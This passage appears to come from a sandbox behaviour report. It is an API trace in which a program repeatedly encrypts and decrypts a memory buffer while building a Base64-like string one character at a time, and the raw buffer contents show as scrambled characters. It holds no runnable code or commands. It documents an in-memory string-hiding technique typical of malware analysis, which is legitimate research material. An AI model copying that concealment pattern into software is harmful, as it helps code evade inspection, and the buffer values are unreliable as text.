(param_1="ุ祥獟宒撯⊟車") returned 0x8 [0126.221] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0126.221] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.221] SysStringLen (param_1="YWM") returned 0x8 [0126.221] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.221] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0126.221] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0126.221] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.221] SysStringLen (param_1="YWM1") returned 0x8 [0126.221] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.221] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0126.221] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0126.221] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.221] SysStringLen (param_1="YWM1O") returned 0x8 [0126.221] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.221] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0126.221] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0126.221] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.221] SysStringLen (param_1="YWM1OT") returned 0x8 [0126.221] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.222] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0126.222] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0126.222] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.222] SysStringLen (param_1="YWM1OTE") returned 0x8 [0126.222] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.222] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0126.222] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0126.222] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.222] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0126.222] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.222] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.222] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.222] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.222] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0126.222] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.222] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0126.222] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.222] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0126.222] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0126.222] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.223] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0126.223] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.223] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0126.223] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0126.223] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.223] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0126.223] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.223] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0126.223] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0126.223] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.223] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0126.223] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.223] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0126.223] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0126.223] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.223] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0126.223] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.223] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0126.223] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0126.223] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.223] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0126.223] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.224] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0126.224] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0126.224] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.224] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0126.224] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.224] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0126.224] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0126.224] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.224] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0126.224] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.224] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.224] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.224] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.224] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0126.224] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.224] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0126.224] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.224] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0126.224] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0126.224] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.225] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0126.225] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.225] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0126.225] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0126.225] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.225] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0126.225] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.225] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0126.225] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0126.225] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.225] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0126.225] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.225] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0126.225] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0126.225] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.225] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0126.225] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.225] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0126.225] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0126.225] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.225] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0126.225] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.226] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0126.226] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0126.226] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.226] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0126.226] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.226] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0126.226] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0126.226] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.226] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0126.226] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.226] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.226] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.226] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.226] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0126.226] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.226] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0126.226] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.226] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0126.226] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0126.226] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.227] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0126.227] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.227] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0126.227] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0126.227] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.227] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0126.227] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.227] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0126.227] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0126.227] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.227] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0126.227] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.227] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0126.227] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0126.227] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.227] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0126.227] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.227] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0126.227] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0126.227] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.227] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0126.227] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.228] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0126.228] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0126.228] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.228] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0126.228] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.228] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0126.228] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0126.228] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.228] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0126.228] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.228] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.228] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.228] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.228] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0126.228] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.228] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0126.228] SystemFunction040 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.228] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0126.228] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0126.228] SystemFunction041 (in: Memory=0x8e6f95c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f95c) returned 0x0 [0126.229] SysStringLen 